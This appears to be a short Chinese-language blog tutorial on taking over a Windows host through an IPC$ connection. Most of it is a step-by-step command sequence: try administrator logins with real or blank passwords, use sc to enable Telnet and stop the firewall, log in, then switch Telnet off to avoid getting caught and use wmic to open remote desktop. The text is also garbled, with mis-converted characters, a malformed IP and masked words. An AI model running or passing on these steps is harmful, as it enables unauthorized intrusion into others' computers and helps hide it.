經過IPC$***，經過命令開啓遠程協助，。。

網絡上經過IPC$***的說明不少，不止新手看不懂，我剛開始也看不懂，更別提去實施了

下面以IP爲192.168.93.9爲列

一、創建IPC$通道
先要確認本身知不知道對方的用戶和密碼，若是知道實施（1）跳過（2），若是不知道請用掃描（X-SCAN)工具或者測試空密碼用（2）

（1）net use \\192.168.93.9 "password" /user:"administrator"    (創建有密碼的鏈接對於域中管理 員省了不少事）
（2）net use \\192.168.93.9 "" /user:"administrator"  (創建空密碼鏈接）

 

鏈接成功以後：
二、用sc命令把禁用的telnet服務變成自動
sc \\192.168.93.9 config tlntsvr start= auto
三、用sc命令將telnet啓動
sc \\192.168.93.9 start tlntsvr
四、用SC命令將內置防火牆關閉
sc \\192.168.93.9 stop sharedaccess
五、telnet IP
telnet 192.168.93.9

如今什麼均可以作了

--六、用sc命令將telnet關閉 ，吃完雞，別忘了把嘴上油給擦乾淨哦，被抓到了就很差了。。
　　sc 192168.93.9 stop tlntsvr

七、在本機執行此命令開啓對方遠程協助
wmic /node:"192.168.93.9" /USER:"administrator" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

 

八、在DOS下執行.reg 註冊表文件，好比註冊表文件名稱爲a.reg
reg import a.reg
 

 

請的不清楚的或者不明白的能夠發留言，我會回覆的